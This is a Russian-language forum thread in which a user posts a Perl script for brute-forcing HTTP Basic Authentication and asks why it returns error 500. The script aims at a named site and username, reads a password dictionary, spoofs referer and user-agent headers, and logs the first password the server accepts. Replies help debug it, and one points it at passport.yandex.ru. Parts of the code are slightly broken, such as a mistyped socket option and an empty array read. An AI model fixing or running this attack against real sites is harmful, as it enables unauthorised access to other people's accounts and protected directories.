Брутфорс на Perl
 

Прочитал на одном сайте статью "Брутфорс на Perl" . Попытался запустить ее на своем сервере, но сервер выдает ошиьку №500 . Причем изменял я только адрес ломаемого сайта и адрес файла с паролями.

Где ошибка ?

#!/usr/bin/perl
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64
$server="www.bendertom.narod.ru"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir=""; ### Запароленная директория
$logfile="rez.txt"; ### Логфайл, куда пишем пароль ;)
$log="stat.txt"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="dictionary.txt"; ### Словарь (файл с паролями)
$user="volo-igor"; ### Имя пользователя
open(file, "$words") or die print "$!\n";
@data=;
$total=@data;
close file; ### Записываем все пароли в один массив
$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Photo => tcp) ### Порождаем сокет
or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш
$ans=<$socket>; ### Получаем ответ от сервера
if ($ans=~/200 Ok/i) {
open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
print logf "$user:$pass is OK!!!\n";
close logf;
exit 0; ### Выходим ;)
}
}

ты вписал адресс сайта , а надо адрес сервера; для яндекса - passport.yandex.ru
но на яндексе тебя забанят после нескольких попыток перебора ...

Пробовал и так. Та же ошибка .

потому что yandex не использует поле Authorization: для идентификации .... я бы попровил, но perl не знаю вообще =(
Брут был изначально на какой сервер настроен ?

если ошибка 500 то ты октрываешь ее как страницу чтоль?

Вот это интересно....

Это вообще брут не на мыло!

Во превых Порт стоит 80, и указании папки.
Это брут на папки!

Ошибка, говоришь? Что, так и пишет: "Чувааак, там ниибаццо какая internal server ошибка!!"?

Хинт: что за ошибка - можно посмотреть в логах.

:))))))))))))))
Какая какая ошибка???
Монстер прав,нельзя этот скрипт запускать через www)))
Вопще насколько я помню перл,могу сказать что если ты через www открываешь страницу,то скрипт должен отправлять хидер,иначе 500 ошибка.

Ща поглядим..
 

Давно с чем-то подобным сталкивался... Каждый в чем-то прав и каждый в чем-то неправ)

Этот скрипт МОЖНО запустить через WWW, т.е. открыть именно как страницу (конечно она будет динамической)).
Да, действительно, ошибка 500 выскакивает из-за ошибки в скрипте.
qBiN совершенно правильно сказал про хидеры в контексте ошибки 500.

Выводы от меня:
После строчек
вставляешь
Если сам скрипт верен, то ошибка исчезнет.

nerezus совершенно правильно и справедливо подметил по поводу error.log :)
Просто запустив твой скрипт на localhost интерпретатор выдал:Это строчка
Но тут уже сами гадайте... )

Если кто-то сомневается в справедливости вышесказанного - Денвер в зубы и смотрите сами)

Все спасибо принимаю в форме повышения репутации.

а что из перечисленного есть в денвере? =)